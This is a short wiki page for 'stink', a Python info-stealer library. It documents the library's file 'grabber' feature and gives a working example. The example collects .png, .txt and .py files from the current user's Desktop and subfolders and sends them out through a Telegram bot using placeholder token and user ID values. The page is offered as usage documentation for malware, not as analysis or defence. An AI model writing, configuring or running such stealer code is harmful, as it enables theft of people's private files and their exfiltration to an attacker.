Collection of specific files - FallenAstaroth/stink GitHub Wiki

Introduction

stink has a built-in grabber for specified file formats in specified directories.

Customization

  1. Accepts 3 parameters:
  • paths: list of directories in which to search for files.
  • file_types: file formats to be collected.
  • check_sub_folders: whether to collect files from subdirectories.
  1. Multiple grabbers can be specified.

Example usage

from getpass import getuser

from stink import Stealer, Senders, Grabber

if __name__ == '__main__':
    Stealer(
        senders=[
            Senders.telegram(token="YOUR_TOKEN", user_id=YOUR_ID)
        ],
        grabbers=[
            Grabber(
                paths=[rf"C:\Users\{getuser()}\Desktop"],
                file_types=[".png", ".txt", ".py"],
                check_sub_folders=True
            )
        ]
    ).run()